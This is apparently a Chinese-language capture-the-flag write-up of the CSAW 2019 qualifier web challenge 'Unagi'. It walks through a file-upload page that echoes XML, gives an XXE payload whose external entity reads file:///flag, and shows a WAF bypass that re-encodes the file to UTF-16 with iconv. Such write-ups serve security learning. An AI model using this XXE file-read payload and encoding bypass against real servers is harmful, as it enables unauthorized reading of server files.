CSAWQual2019-Web_Unagi
Created At :
Count:377
Views 👀 :
CSAWQual2019-Web_Unagi
在初始界面发现有个upload页面,点击之后发现很明显的文件上传。

发现You can check out the format example [here]提示,点击here

很明显提示我们这里要我们上传xml文档。
我们试试传入一个xml文档,看看是否会回显到页面
1.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <users> <user> <username>123</username> <password>123</password> <name>123</name> <email>123</email> <group>123</group> </user> <user> <username>123</username> <password>123</password> <name> 123</name> <email>123</email> <group>123</group> </user> </users>
|
上传发现存在回显。

根据about中的提示Flag is located at /flag, come get it,可以构造出外部实体xxe漏洞payload
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]> <users> <user> <username>&xxe;</username> <password>&xxe;</password> <name>&xxe;</name> <email>&xxe;</email> <group>&xxe;</group> <intro>&xxe;</intro> </user> </users>
|
直接传发现没法传,很明显有waf
参考xxe的waf绕过:https://xz.aliyun.com/t/4059?time__1311=n4%2Bxni0QG%3DoCuRgDlxGObCDOYa6dxAKDC8n0eD
这里我用的是utf-8转码为utf-16绕过
用linux
1
| iconv -f utf8 -t utf-16 2.xml>1.xml
|
或者使用记事本打开,然后在右上角选择另存为,然后下方编码选择utf-16
得到flag

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。